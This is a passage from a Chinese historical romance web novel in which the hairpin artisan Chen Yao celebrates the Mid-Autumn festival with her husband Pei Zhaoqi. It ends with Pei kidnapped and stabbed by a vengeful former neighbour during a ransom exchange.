未通晓男女之事的小簪娘,似懂非懂地点了点头。
等陈窈走后,小簪娘自言自语说:“……她两条腿看上去都行动不便,要不要去医馆看看。”
在一旁填丝的簪娘,听了二人对话的全部,不免捂嘴嗔笑她,“我看该去医馆的是你呐!”
“我?”小簪娘嘟起嘴,不可思议地说:“娘子,何出此言,受伤的又不是我。”
簪娘悠悠地放下搓木,犯起坏地附在小簪娘耳边,解释给她听。
听完,小簪娘顿时瞪圆了眼,脸也红得比日出还要红,讷讷地道:“那……那不用去医馆。”
陈窈左赶右赶还是慢了步,店内陆陆续续已有人来了。
柜中空了个位置,陈窈将簪子放在架子上,满心欢喜地等待有人能买走。
眼前人来人往,目光短暂地注视了下她做的簪子后又移开,别有兴致地拿起别的簪子看……
就在陈窈觉得今天要一无所归时,有位妇人打量了一圈,视线落在一处顿了顿,随后一个眼神递给身边的丫鬟。
丫鬟知会后便上前去,指尖一伸,指着一支说:“要这支,拿近处看看!”
陈窈顺着丫鬟所指望去,原本无色的面颊瞬间悦色,喜上枝头。
这支是她做的簪子!
17. 中秋(1)
申时三刻,偏房。
床榻空荡无人,厚厚的被褥崭齐叠放,余下的炭头染着淡淡的灰烟,一阵冷风沿窗呼啸而过,整个房间沉寂得可怕。
比风更寒凉的是桌边站立的男人,他衣着单薄,仿佛对周遭的冷气毫无感觉,手中把玩一盏破了口的瓷杯,他手不算白,但骨节突出,指尖修长,仿佛再用力一点就要被碾碎般。
“裴照七!裴照七!!!”
远处一道女人的喊声打破屋里的寒意,男人面色宛如冰山消融,隐匿暗面的轮廓染上暖意。
一进门,陈窈就见裴照七撑在桌前,双手扣住两只茶杯,不知在摆弄什么。
裴照七像是才听到她的声音,呆呆地扭过身,无神的双眼看到她的一刻顿时亮起,“窈娘,你回……”
还等他说完,陈窈迫不及待地跑过去抱他一满怀,将这个好消息同他分享,“咱们有银子了!终于有人买下我的簪子了!”
裴照七被她猝不及防地拥着,胸膛传来片片温热,怦怦跳的心忽地一软。
他轻扣住陈窈她的脑袋,顺了顺秀发,“娘子手巧,肯定有人买。”
陈窈心里欢喜得不行,小鸟依人地靠在他怀里好一阵。
也不知道他什么体质,在金禧堂也不见他再劈柴劳作了,可腰身还是如此有劲,陈窈只是轻轻搭在他后腰,隔着层布都能感受到他肌肉的紧实。
陈窈扬起头,眼含着笑,“一天没见我,是不是特别想我?”
裴照七如她所愿地嗯了声,但随后他拿起扣在桌面的杯子,抓了个不知道什么的东西,乐滋滋地举起与陈窈分享,“我捉了只虫!娘子,你看!”
陈窈眼睛一定,瞳孔蓦然放大。
“啊啊啊啊啊!!!”
屋内传来女人尖声的惊叫,枝头的麻雀霎时一飞而散,堪比天崩地裂……
裴照七很喜欢入秋的日子,虽然冷得只能抱团取暖,但陈窈身子软绵绵,靠着她比棉袄还要暖,他就很开心。
更重要的是,陈窈不会因为他不小心惹她生气,而叫他睡在地上了。
就像今天这样。
陈窈因这傻子徒手抓虫差点没吓得魂飘走了,那玩意儿脚多得数不过来,只看一眼她浑身不舒服,像是皮肤被刺挠住了。
她估摸着裴照七也知道把她恼到了,他不敢像之前那般搂着她睡,老实地与她隔了一小块地儿躺着。
陈窈本来还有点脾气,如此一来,她倒觉得裴照七还挺……招人喜欢的。
一个人睡多冷啊,她喊他,“过来。”
裴照七睁开眼顿了下,不明所以地往前挪了挪,仅仅是轻贴在陈窈背后,无其他举动。
陈窈忍笑,假装冷着声说:“过来抱我!”
裴照七一喜,伸手环着她的腰,将她轻轻拥入怀中。
陈窈提醒他,“就这样抱着,不许乱动。”
裴照七:“哦……好。”
许是有银子赚,陈窈这一睡得很是踏实舒服,第二天她醒来发现自己竟是抱着裴照七睡的。
裴照七还没醒,她看了眼,又不动声色地重新贴回他硬邦邦的胸膛。
之前村里的女人们饭后闲聊,都说自家有个臭男人,浑身散发着男人的汗臭味,但裴照七却没有,偶尔还能嗅到一股说不出的清香。
裴照七个子高,身躯壮实,她有时表现得很嫌弃,但心里却很喜欢,喜欢缩在他宽厚的臂膀里感受男人独有的气息。
陈窈只眷恋了一会儿就起身,准备收拾东西去工坊,毕竟再好的男人都没她的银子重要。
她第一个到坊里,最后一个踏着蒙蒙月色而归。
每晚都是如此早出晚归,她口袋的银子也鼓起来了,连带着看裴照七都顺眼了很多。
陈窈在乌发上涂着桂花油,问他,“相公,明日就是中秋了,咱们去放花灯吧。”
堂主准允中秋放假可出街一天,陈窈还真没出去几次,都是采买的时候才看一看街景的浮华。
裴照七在床上嗯了声,“都听娘子的!”
陈窈放下梳子,继续打开另一个盒子,她没钱时对女子的胭脂水粉从不讲究,有了钱她置办了好些,每每都要梳洗一番才肯入睡。
“你老看我做什么?”陈窈无意抬眼看铜镜,发现身后的裴照七正直勾勾地盯着她。
裴照七散漫地榻上一靠,落在她身上的眼神泛着淡淡柔色,“你美!”
陈窈回过头,含羞地对上的视线。
看着他几刻后,陈窈不知在想什么,竟扑哧地笑出了声。
裴照七:“怎么了?”
“你这样不说话的样子,一点都不像村头出来的汉子。”陈窈捂嘴笑得花枝乱颤,忽地话锋一转,“倒像是哪家的闲散王爷!”
裴照七眸色一深,扯了下嘴角,没有再言声儿。
陈窈媚眼如钩,唇边一翘,起身吹灭了灯,软如春水般的身子往裴照七胸口一靠,“相公,你闻闻我身上香不香?”
裴照七鼻子都没往她嫩滑的脖颈上嗅,只是略略一应,似敷衍她般。
随后他说:“你喜欢那种王爷吗?”
陈窈兴致盎然,对他这种扫兴的话有点莫名,但还是认真回了他,“我才不喜欢什么王爷呢,那些高官显爵可不是好相处的主儿,连说上句话都要谨言慎行小心琢磨,我可不想过这种谨小慎微的日子。”
裴照七顿了顿,较真地追问她:“若是有那种好相处的呢?”
“反正是王爷我就不喜欢!”陈窈不想和他深入探讨这些有的没的,随口一答。
一片黑暗中,陈窈发觉他身子略有些僵,“相公,你怎么了嘛?”
裴照七暗眸比夜色还要沉,他否道:“没。”
他说着没什么事儿,但语气尽显低落。
陈窈眯眸,猜测道:“你不会还以为我会喜欢别人,抛下你吧?”
裴照七:“没有。”
他说没,就是有!
陈窈悠悠一笑,直接翻坐在他身上。
女人领口微开,两条玉腿从长裙中,她指尖绕到脖后,轻轻一撩,似绸缎般柔顺的墨发披落一侧,露出的白颈犹如幽谷里绽放的雪莲。
裴照七鼻尖萦绕一种淡淡的香,心跳紊乱了几分。
身上的女人似乎不打算止于此,她手抚上他的侧脸,像个噬人的小妖精,“我怎会抛下如此俊的小郎君呢?”
裴照七心一紧,像失了魂般,伴着一股热火灼灼外冒。
“相公,你心好热~”陈窈趴上去,耳朵贴近他强有力的心跳,“和我的一样。”
裴照七哪儿还受得住陈窈的撩拨,刚才的愁云顿时烟消云散。
他反扣住女人的嫩手,轻咬住她耳垂,声音又哑又沉,“我还能让你更热。”
——
晚间,月桂飘香。
香案上面摆着几盘圆饼和葡萄等供品,大家纷纷来拜月祈福,愿“貌似嫦娥,面如皓月”。
未出阁的少女们会去月老祠,祈求一
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份姻缘。
“陈窈姐,咱们收拾好去拜月啊。”簪娘们围坐在一起,商量着一会儿出街安排,其中一位叫住正要出门的陈窈。
陈窈腼腆着脸回头,冁然一笑,“我就不去了。”
几位簪娘瞧着她一身不由都驻足了会儿,女人一袭紫檀色长裙,秀发高挽,配一支玉兰银簪,衬着她整个人的媚而不妖,恰到好处。
她们不忍住打趣道:“你穿得好好看啊。”
“看来是有约了才不和我们这些无家可归的人耍喽~”
“人家还要和相公另有安排,咱们可别耽误人家亲热的哟~”
陈窈被她们一个个说得都不好意思了,脸颊两侧红扑扑的,像刚出嫁的小娘子一般,这全要归功于成亲这几年的滋润的夫妻生活。
女人们聚在一起,便叽叽喳喳地聊个没完,像是被她们逮到机会,陈窈被左一个问题右一个问题弄得晕头转向。
就在这时,一道清润携着几分焦灼的声音在她们身后响起,“娘子?你好没,我等你等得都饿了。”
裴照七本在堂外等她梳妆打扮,结果这一去竟快半炷香,他肚子空得咕咕叫。
簪娘们见她家男人来找,也不好拽着人家问东问西,“好了,我们把你家的娇娘子还给你!”
陈窈可算是得到解脱,提着裙子走到裴照七身边。
两人站在月下,郎才女貌,好一对璧人。
陈窈在大家艳羡的目光下,羞红着脸拉起裴照七上街。
街景繁华,裴照七被她牵着走了好远,才慢慢回过神来。
他垂视于陈窈软软的小手,对比自己又厚又宽的掌,每次他轻轻一扣,她的两只手就全都被裹住了。
裴照七唇角微勾,接着大手反扣她,手心的温热传来。
陈窈脚步一顿,眼底被满城的灯火点亮,明眸亮着光回望他。
蓦地停下脚步,周围熙攘人群穿梭于此,两人手挽手紧紧相依,眼神交汇,甜蜜之情尽在不言中。
裴照七唤她,“窈娘,我们走吧。”
二人来到河边,已有不少人来此祈福。
陈窈拿出银子给小贩,要了两盏花灯,她给裴照七解释说:“许愿就是把心里最最最期待的事情说出来,让花灯承载心愿飘向远方,求神保佑自己愿望得以实现。”
裴照七似懂非懂地点了点头,学着陈窈将花灯放置河里。
河面波光粼粼,一盏盏花灯随水流漂浮,光点交汇成线,璀璨如一条天河。
陈窈双手合十闭目,虔诚祈祷,许下心愿。
裴照七跟着她,也将手心并在一起,在心里默念自己的愿望。
他不似旁人那般有鸿鹄之志,愿望近在眼前,无需依靠缥缈的神明,所以他早早睁开眼,静等着还在许愿的陈窈。
陈窈的愿望就特别多,她好长时间才心满意足地睁眼,引得裴照七好奇地问:“窈娘许了什么愿望,这么半天?”
“那你许了什么,这么快就许好了?”陈窈故意卖关子,不告诉他。
“我的特别简单,就是想……”
裴照七深邃的眼神盛满深情,落在陈窈那一抹红艳的双唇,正要轻轻俯下身,身子突然被跑来的人撞了下,话音被打断。
撞他的人略点了下头,又匆忙地往前跑,边放声大喊:“快走!快走!望月楼有人撒银钱了!快去捡银子!”
白捡银票?
陈窈一听有钱捡,什么楼的她都甩到脑后,“咱们也去看看?”
18. 中秋(2)
裴照七任由陈窈拉他冲进人海,低下的头颅稍显出男人郁闷的心情。
他对捡银子一点都不关心,只想亲陈窈!
陈窈察觉到他没刚出街那般的兴奋劲儿,放缓了脚步问他,“相公,你不开心吗?”
裴照七挠了挠头,眉心闪过几丝不解,“咱们不是有银子嘛,为何还要去捡?”
陈窈笑出声,“谁会嫌银子少啊,这玩意当然是越多越好!”
裴照七一言不发地看她。
像是嫌他麻烦般,陈窈拽着他的手紧了紧,“别问这么多,你只管跟着我就行!”
裴照七勉强挤出一个微笑,“好。”
算了,陈窈开心他就开心。
陈窈随着人群前行,越走越感觉这条路如此熟悉,直到头顶出现一块大牌匾才恍然大悟。
这不是她之前来过的望月楼吗?
楼外比任何时候都要热闹,大多数都是男人们围聚一起,三五成群结伴等待着什么。
陈窈观望了半晌,也没见什么银钱撒下,倒是前来的人越来越多,她一个女人不好往男人堆里扎,便从袖中拿出面纱遮住脸。
从旁边热聊的几位大哥的话语间,陈窈得知他们对此十分熟悉,她忙不迭地道:“敢问哪里有人撒银子?”
大哥双肘抱拳,被她的话逗笑,“谁会平白无故撒钱玩?那是望月楼抛出的噱头,要不怎会聚集如此多的人前来捧场。”
陈窈眨了下眼,“你既知晓,为何还来?”
大哥看了眼左右的兄弟们,乐呵着说:“我们来当然是来目睹花魁牡丹姑娘的芳容,也想看看谁能出手如此阔绰为其赎身。”
正此时,二层阁楼传来几声清脆的掌声,楼下喧哗的众人顿时噤了声,目光全向那张灯结彩处望去。
牡丹姑娘从帘后款款走来,真当是人如其名,一缕发丝从中不经意地垂落额边,配上这双楚楚动人的美目,任哪个男人看了都会心生怜惜之情。
男人们一个个仰起脖子,目不转睛地寻这张花容,生怕眨下眼错过。
见凤姨从后走出,陈窈怕她眼尖认出自己,连忙拂过长袖盖面,再遮一层。
宽大的袖子挡住她,陈窈忽地好奇裴照七在注视什么,是否同那些男人们一样。
结果裴照七被隔了几个摊的炊饼馋的不行,眼神跟着师傅从炉中拿起又放进烤的饼来回打转,就差口水没流出来了。
陈窈:“……”
她嫁这相公倒是叫她放心。
裴照七扯了扯陈窈的袖子,“咕嘟”一声吞了下口水,“窈娘,我饿了。”
陈窈哭笑不得,轻声笑着,“一会儿给你买。”
“吉时已到!牡丹姑娘开始抛绣球了!”凤姨站在二楼高喊,递给牡丹事先备好的布织绣花球。
牡丹姑娘缓缓侧身,低垂的眉眼扫过精巧的绣球,唇边倏而弯了弯,如悄然绽放的花朵。
这一笑引得底下的人阵阵躁动,争相找个最佳位置,陈窈他们被人群挤到了最边上,而想看热闹的那几位大哥竟也过来了。
陈窈惊讶地问:“你不去看了吗?”
男人脸上挂着一丝窘迫,叹息道:“牡丹姑娘美则美矣,但这……赎金足足一千两白银,领回家又有何用,不如隔三岔五去楼里花点银子享乐来得值。”
旁边的男子也跟着附和,“正是如此,老子花几个银子睡一晚不比那大几千的值,何必逞一时之乐!”
同为女子,陈窈望向楼上笑似花的牡丹姑娘颇为感慨,女子自古多不易,一生围着丈夫转,更何况不得已流入青楼的女人更甚。
陈窈低了低眸,想到自己曾误踏过这风流处,不禁庆幸她会一门学艺,有了银子便有了底气,不用依附任何人!
思绪飘远,等她再一抬眼,牡丹姑娘已将绣球抛下,落在离他们两三个人头前。
接到绣球的男人露出得意的笑容,举起手炫耀着自己胜利,身边阵阵喝彩声将他推进望月楼。
凤姨高喊,“今儿个是牡丹姑娘大喜之日,我凤望仙出酒水钱,邀见证喜事的各位来吃酒!”
一听有不要钱的酒水,大家一窝蜂地冲进楼里,都准备听小曲看美人,与四周的流动的人潮比起,陈窈二人就显得尤为例外。
片片嘈杂声中,陈窈却不小心对上凤姨的视线,她慌忙地拉起裴照七快步冲出人群。
凤望仙眉心一锁,望着陈窈带着一个男人离去的身影,迟迟未动片刻。
牡丹走上前,询问道:“凤姨,您看什么呢,咱们该去见客了。”
凤姨回过神,眼角染上岁月的痕迹,微微一皱,“我好像看到陈窈了,你看到没?”
牡丹攥着绣帕的手收紧,随着凤姨的目光往下望,聚集的人群早已如尘般消散,更别说还有什么女人的身影。
她咬了下红唇,试探着问:“凤姨,你不会还想让陈窈来咱们这儿吧?”
作为望仙楼揽客的头牌,牡丹也有自己的思虑,她见过陈窈的容貌,绝不输她们楼坊里任何一位女子,只要加之时日学一些讨男人欢心的小活,她的地位不久便会被取而代之。
“她身边还有一个男人跟着,举止亲密,像是她家汉子。”凤姨看人的眼神准得很,那男人对陈窈定是不一般。
“她成过亲?”牡丹松了松被她弄皱的帕子,疑惑道。
按楼里的规矩,清白之身的女儿的第一夜能炒出天价,而已是有过的夫家的女人就算倾城倾国,值得银子也得大大减退。
“不是没有这种可能。”凤姨眉梢微抬,露出一丝算计的笑容,“不过,她家男人倒是生得俊。”
牡丹眼珠转了转,她是望月楼的老人了,没有人比她更清楚楼中的规则与凤姨为了钱财的不择手段。
凤姨不仅想挣男人的钱,女人的银子她也想。
专门为丈夫不解风情,日夜独守空房的女人们养着,供她们寻欢作乐,如同宫中的面首般。
不过,这些也只是牡丹自己揣测罢了。
另一边,陈窈带裴照七吃上热乎乎的炊饼,她又叫了几碗肉,肥瘦相间的牛肉配上蘸料,香味直冲上颚,几块厚肉片下肚,当真是好痛快!
陈窈倒了杯茶水给他,“慢点吃,慢点吃。”
裴照七喝了口,把肉顺下嗓子去,又伸手往盘子里够。
陈窈抿了抿水,也不知道凤姨有没有看到她,她蒙着一层面纱应不好发觉,更何况她带着裴照七。
“你知不知道咱们刚才去的楼是什么地方?”
“不知道。”
裴照七专心吃着大块的肉,对其他的一点都不关心。
陈窈看他吃得香,也是知道他这性子的,但她偏偏就想使坏。
她手悠悠地撑靠下巴,眼梢上挑,低眉凑近道:“那个地方啊……有许多漂亮的女人,你给她们钱就能和她们睡一晚,你想不想啊?”
其实裴照七说想,陈窈也不会往心里去,胡乱吃什么醋的,他人傻,别人给一口饭他就吃,能白睡他自然也是会的,她不会怪他。
裴照七抬起头,圆圆的黑眸看着她,认真问:“她们比窈娘还要白吗?”
“……”
大庭广众之下,他骤然说这般没脸没皮的话,幸亏周围来往的客人话音能盖过此。
陈窈环顾四周,见无人在意他们,便壮着脸皮说:“要是比我白呢?”
“那也不行。”裴照七摇头,有理有据,“我只和我娘子睡觉,窈娘的身子又白又……”
陈窈手疾眼快地
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夹起一筷子肉堵住他的嘴,“……吃饭的时候不许说话。”
裴照七囫囵地嗯了嗯。
临走前,陈窈顺手买了两坛桂花酒,回她的小院赏月饮酒,定别有一番滋味。
“窈娘,这是什么啊?”裴照七从陈窈手里接过,一左一右地抱在臂弯里。
陈窈记得自成亲后就没买过酒,裴照七自然没尝过酒的滋味,“和水差不多,但味道要比水刺嗓子,喝到嘴里糅杂些桂花香气儿,很甜很爽快!”
她边说边回味那股清甜划过喉咙,不自觉地咽了咽口水。
裴照七听到能喝,还很好喝,当即分配了这两坛酒的归宿,“好!你一个我一个!”
陈窈连连摆手,“那不行,另一坛我可要埋在树下来年再品。”
裴照七却所见不同,身子一侧环住酒,小步往前走不让她靠近,“一顿喝完才叫痛快!”
陈窈上前跟着他,“不行!那样太浪费了!”
裴照七大笑地倏尔加快步伐,抱着酒坛肆无忌惮地往前跑,陈窈在身后紧追不舍,裙边的祥纹随之摆动,仿若片片浮动的云彩。
欢声笑语穿梭在寂静无人的小巷,月光将两人的影子拉得悠长。
片刻,黑暗中走出一道身影,从面纱下露出一抹阴险的笑容,远远注视着前方。
——
夜空澄碧,月似玉盘清朗高挂,寥寥几片云浮动,晕出淡淡的光辉覆盖大地。
石桌旁,女人指尖轻捏杯盏,放到唇边抿起,哈出一口气。
陈窈眼梢一挑,目光所及是他一言不发且相貌俊朗的夫君,正呆头呆脑地等着她喝完侍候。
她嘴角不自觉地上扬,美酒美男,她都有了,可谓是美哉!美哉!
“娘子,再来一杯!”
裴照七给她倒一杯,又给自己满上,勤快地真的像陈窈叫的男陪客。
“你也喜欢上这滋味了?”陈窈晃着酒杯的手露出皓腕,迷离的眼似染上一层雾气,比平日的媚更显几分妖娆姿态。
裴照七喝的没有陈窈多,但脸颊两侧已染上红晕,酒量看上去比她还要差些许的样子,他扶住她摇摇晃晃的肩膀,憨笑道:“好喝,就是有点辣。”
“那是你一口喝太多了,你看像我这样,只抿一小小口。”陈窈说是只喝一小口,却是一个仰脖,全部喝了进去。
喝完这杯,陈窈彻底是晕得不行了,她用手挥了挥天上的两个月亮,越看越模糊,她大叫不妙,“好像醉了。”
裴照七:“醉了就睡吧。”
“不行,不能睡!”陈窈一听要睡,硬是撑起精神,双手拍了拍自己的双颊说:“中秋之日,讲究睡得晚越能长寿,我要长生不老,然后挣许许多多,多到家里有放下的银子,所以我不能睡!”
她陈窈就是喜欢钱,提什么都会拐到银子,视金钱如生命。
裴照七忽然想起什么,放下酒杯问她,“窈娘许的愿望就是挣银子吗?”
陈窈脑袋发沉,却强调说:“不,是挣大大大的钱!”
裴照七:“你知道我许的是什么吗?”
陈窈困得眼皮都打架,含糊地道:“是什么?”
“我的愿望就是……”
要说出口的话就在嘴边,可一眨眼陈窈阖着眼,趴在桌上睡了,浓密的翘睫在她光润的脸蛋投下一小片阴影。
他的愿望从来不是想要什么,而是不能没有什么。
两次陈窈都没听见他的愿望,不知是天意还是巧合。
男人静静垂首她的睡容,忽地展颜一笑。
这一笑与之染上的酒意顿时烟消云散,长睫下的一双凌厉暗眸,却有几丝温润如玉。
良久,裴照七缓缓俯身,在她的额头落下一个绵柔的吻。
19. 失踪
“裴!照!七!”
女人有力的叫声似要掀翻房顶,树梢处栖息的鸟儿纷纷惊散。
裴照七听到陈窈的呼喊,赶忙跑到她面前,“怎么了,窈娘?”
陈窈全身裹着棉被,只露出一颗脑袋,眼神极为幽怨地瞪着裴照七。
棉被之下她什么都没穿,光溜溜的像个泥鳅,一定是裴照七干的!
陈窈小脸皱着眉,“我衣服怎么不见?”
裴照七照实说:“我脱的。”
“……”
他把衣服给脱掉了,所以不见了。
陈窈忍住胸口的火,羞耻的脸快钻进被里了,“你好好的,脱我衣服做什么?”
她明明记得昨晚只是吃醉了酒,而不是吐酒。
裴照七面对她的斥责有点无辜,低头慢吞吞地说:“你身上酒气重,我给你洗澡啊,不洗我抱着不舒服。”
“那……倒是给我穿上啊?”陈窈语气艰难的像是从牙缝里挤出似的。
裴照七默了默,随后挠头,嘿嘿一笑,“我忘了。”
陈窈:“……”
她看他像是故意,趁她喝醉故意轻薄她。
陈窈眸光一睨,“你不会对我做了什么不该做的吧?”
“就……抱了抱,亲了亲,没干别的。”裴照七越说声儿越小,眼睛都不敢直视她。
陈窈鼻子一哼,他那点心思都写在脸上,她不问心里也有数!
裴照七对她肯定有贼心,至于这贼胆嘛……他现在还没练出来呢。
陈窈索性不问了,转而说起:“我酒呢?你没趁我睡着偷喝吧?”
裴照七给她递衣服,“怎么会,我昨晚给你洗完澡就睡了,还没来得及喝呢。”
“……”
陈窈穿好衣服同裴照七用饭,她没吃两口,便放下筷子用铜镜照脖子,果真如她所想,大片红印如梅花烙在她身上似的,又暗又深。
好在,只有脖颈处有。
“窈娘,你别照了,遮不住的。”裴照七一点都没眼力见儿,悠悠地说。
“你不会弄……在衣服能盖住的地方吗?”
陈窈本意是不想让别人看了去,这些暧昧的痕迹一打眼,就知两人的夫妻生活有多曼妙,可裴照七听她这么说,眼珠子溜溜一转,脑子不可抑制地浮想联翩,尤其是衣服能遮住的那片风光。
“原来窈娘喜欢这般的我,那今日我们就把另一坛酒也用了吧!”裴照七先是羞涩一笑,转而抚上她的手,狠狠攥在自己掌中搓了一把。
陈窈:“?”
“闭嘴!再说一句我就扒了你的衣服,让你光着上街跑!”陈窈把手抽开,眼露凶巴巴,大清早她可不想听他说这些荤话。
她知道裴照七贪欲,换个大床更是如此,她起身拉柜子检查,里面还有两次汤药的量,马上快不够了。
裴照七看她不动筷了便说:“窈娘,我都吃了?”
陈窈:“你吃吧,我不饿。”
裴照七扒拉几口,一碗粥下肚,吃了个肚圆,人吃饱了就困,他收拾好碗筷,拉着陈窈往床上躺。
陈窈趁他洗碗的功夫,已整理好用具,扒开他的手臂说:“我还要去工坊,你自己睡吧。”
“我已帮你告假,今日不用去。”裴照七顺势赖在她怀中,抱着她的腰躺在床上,打了个长长的哈欠。
陈窈被他扑在床头,眨了眨眼,迷茫地说:“你帮我告假?”
她这个傻子相公竟还知道不去要请假?真是出乎她所料。
“对啊,堂主准你休息。”裴照七埋在她肩头,沉迷她柔软的身子,压根没去琢磨她话语中的用意。
陈窈难以置信,“你竟晓得要告假这一说?”
裴照七骤然睁开眼睛,划过一抹转瞬即逝的凌厉,继而用鼻尖蹭了蹭她颈窝处,“你有同我讲过堂里规矩,要是坏了规矩,咱们就得露宿街头,干喝西北风吃不到肉。”
陈窈不记得她有说过这个,但听上去的确像她语气。
“你都不像你了。”她双手捧住裴照七的脸,像是在仔细辨别。
“哪里不像了?”裴照七脸快被她挤变形了,嘟着嘴说。
陈窈放开他,自顾自地说:“你好像……说不出来,感觉最近你变聪明了。”
“……我本就不傻。”裴照七低声咕哝,同之前的傻劲儿一模一样,让人不应有疑。
“嗯,我家相公不傻。”陈窈嘴边漾起笑,低眸看他充斥着不太机灵的眼睛。
裴照七转了转黑漆漆的眼珠与她相视,原是环在她腰间的手,缓缓往上挪,每移一寸都像火燎般酥麻。
陈窈拍开他不老实的手,娇笑着说:“白天呢,别闹。”
裴照七埋首在她胸前,轻嗅她身上的香气,“好,我等天黑!”
“……”
这晚两人折腾了许久,裴照七如承诺的那般,所留的吻痕都被衣衫掩盖,而躺在抽屉的药只剩下孤零零的一副。
翌日,陈窈来工坊却见大门紧闭,一把大锁横在前,大半的簪娘们都去了店铺。
她来到店铺,疑惑地问,“工坊怎么锁了?”
簪娘:“昨儿个你告假不知道,堂主说工坊要重新翻修,让咱们全都来店铺做生意,等修葺好了再回去。”
“为什么啊?”陈窈不解,要修也该是店铺翻修,给客人看的门面理应敞亮,可堂后的工坊是自己人做工的地方,美丑无所影响。
“你只管产出,其余的别问了。”簪娘拉过她,小声地说:“我们这些人本就福浅,要不是堂主心善,早不知流浪到哪条街上了,这命就是金禧堂的!”
陈窈听后,却蹙起了眉。
她感恩堂主收留,但话可说不得如此重。
簪娘见她有疑,把后续的安排同她讲了一遍,陈窈心中没由来的一番苦涩。
后堂的工坊说是修葺实则就是被封了,原因不详,而前堂的店铺与之前大有不同,簪娘不再专心雕琢技艺,而将重心放到了买卖。
每月会有一批新簪到货,簪娘只管卖出去而已。
金禧堂以手艺闻名,靠的是簪娘高超的技艺,锻造出的金簪银钗精巧绝伦,这也是它能在一众民间店中长久不衰的原因。
何岱创立之初从不收学徒,打造的簪子精且少,物以稀为贵自然能成为嬅京中夫人小姐们所爱,不知何因工坊忽然涌进大量学徒,陈窈欣喜的同时也生过疑,她想过这般做也未尝不合理,毕竟比起一味地埋头苦干,顿顿能吃饱饭也很重要。
在名与钱都不缺的金禧堂内,何岱做出这般决定是出于何因?
陈窈有些看不懂了,结合之前种种,不安隐隐染上眉梢。
簪娘看她一时失神,推了推她胳膊提醒道:“别担心,无论堂前堂后都是挣钱,咱们不会饿死的,好好听堂主的安排,银子不会少你的!”
陈窈看了她一眼,略略点头。
整理好店中,陈窈按例出门采买。
买完后,陈窈经过药房时脚步一顿,和同行的簪娘说:“你们先回去吧,我要去趟药房。”
“你要抓药?身子不适吗?”她关心问。
“我……许是昨晚受了凉。”陈窈低下头,有些心虚地说。
簪娘没怀疑,接过陈窈手里的丝线先行一步。
药铺内,药香扑鼻。
大夫听完陈窈所求后,神色变了变,扶着白胡子言道:“小娘子,别怪老夫多话,久用损伤机理致不孕。”
陈窈沉下眸子,她又何尝不知这汤药喝猛了,便再也生不出自己的孩子。
她淡道:“开吧,无妨。”
大夫似惋惜地叹了口气,转头让药房伙计抓取,小伙计将药材放入铜臼中,用捣药杵笃笃地捣碎。
陈窈等待的功夫,不知从哪里来的一小乞丐,拽了拽她裙角塞了张字条给她,看后她顿时大惊失色,提着裙子往回跑。
药房伙计刚将称量好的药材用纸包封口,却只见她匆忙跑的背影吗,大喊道:“姑娘,你药不要了?”
陈窈顾不得这些,脚下的步伐比任何时候都要焦灼,她急匆匆赶到房中,只剩萧瑟的冷风回荡,空无一人。
裴照七被人拐走了,生死未卜……
陈窈慌得腿都软了,她靠倒在门边,指甲深陷肉里,一行泪扑簇簇地滚落。
女人哽咽,到底是何人与她结仇,竟不惜顶着国法也要绑架她相公。
那乞丐给她的纸上写,想要裴照七的命需带足量的银子交换
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陈窈拭去脸上的泪,从床头取出钱匣子,颤抖着双手数钱。
银子刚好足够,只要交给那歹人裴照七就能回来。
可……可这是她全部的家当,她省吃俭用攒了许久的积蓄,就这么白白给了,她不舍。
陈窈紧紧抱着钱匣子,蓦地心生一计,她把积蓄装进钱袋随身而带,再用石头将空匣子填满,沉甸甸的重量堪比真金实银。
乌云蔽日,刚才还是艳阳天,一夕之间变了天,黑压压的云团给人一种压抑和不安的感觉。
陈窈一路小跑,她秀气的布鞋染上泥泞,一缕碎发从她耳边散落,来不及梳理发丝,她快步爬上山头。
山崖前,裴照七双手被束缚在粗壮的老树上,嘴里塞着一块旧帕子,他瞧见陈窈走近,激动地喉咙里发出了呜咽声。
陈窈眼眶瞬间红了,见裴照七完好无损,她一路上心惊胆战终于能平复片刻。
“别哭吵死了!我要的银子呢?”歹人一把刀架在裴照七脖颈处,极为不悦的语气传来。
陈窈眯眼,这才看清绑匪真容。
竟是吴春蔓!
那个在花颐村看她不顺的邻里,陈窈以为再也不会相见,没想到这女人心思如此恶毒,竟不死心地追过来,打破她平静的生活。
陈窈从怀中颤颤巍巍地拿出钱匣子,并未急于递给她,“你要的银子我带来了,先把我相公放了!”
“放了?”吴春蔓像是听到了天大的笑话般,她笑得无比渗人,冲着她喊,“陈窈,我也要让你尝尝失去亲人的味道!”
说罢,吴春蔓一刀捅在裴照七的肩头,他面露痛苦,鲜血顿时染湿衣襟。
一刀不致命,但足以让陈窈心痛。
“不要!不要!”陈窈吓得跌坐在地,颤抖着起身,不敢激她,好言相劝地道:“咱们好好说,你既恨透了我,凡事冲我来,你要什么东西,只要我有我都给你!”
吴春蔓掀起一丝冷笑,“听说你在城中过得很滋润啊,一定挣了不少银子吧?”
“不多,但攒了些积蓄。”陈窈晃荡着钱匣子,碰撞出叮当的声响,“我把它放在地上,你过来拿,咱们一手交人一手拿货。”
“少糊弄我,打开匣子数给我看!”吴春蔓知道这丫头机灵,专门留一手防她。
陈窈站在大风处,风吹干她的泪,留下几道泪痕,她战战兢兢地蹲下解开锁。
“快点!”吴春蔓大声呵斥,早已没了耐心,“你要敢耍什么花招,我立马让你相公见阎王!”
陈窈根本不敢打开匣子,里面全是她自作聪明装的石子,一旦让吴春蔓知晓,裴照七可能会当场丧命。
“这里面的银两不多,我有一袋多的!”陈窈慌忙从袖中拿出另一袋,把真金实银袒露出给她看。
吴春蔓瞬间了然她的小心思,急道,“扔过来!”
陈窈照她说的做,扔过去的一瞬,她的心如同一个窟窿,钱已到吴春蔓的手里,她想拿回来就困难了。
吴春蔓摩挲着钱袋,掂量了下,刀尖依旧对着裴照七,哂笑道:“你这个小贱人对自己的相公都这么狠,明知道给了钱就能换人,却还侥幸地留一手,陈窈啊陈窈啊,都说患难见真情,你根本不值得别人对你好!”
陈窈对她的讥讽罔若未闻,壮着胆子凑近几步,“现在可以放人了吧?”
“不行,现在还不够。”吴春蔓凶狠的眼底划过一丝悲凉,她握紧刀刃的手背绷起青筋,麻木地顺着老树皮划麻绳,“你欠我的远远不止银子。”
缠绕在老树的麻绳一根接一根地断裂,裴照七身子随之摇摇欲坠,如同风中残破的枯柳。
陈窈觉得她真是疯了!
吴春蔓心里咽不下赵黔曾求娶过她的这口气罢了,嫁入赵家后,她百般受气,受庞氏苛责,受赵黔冷漠。
但这一切的一切,都是她自己的选择!
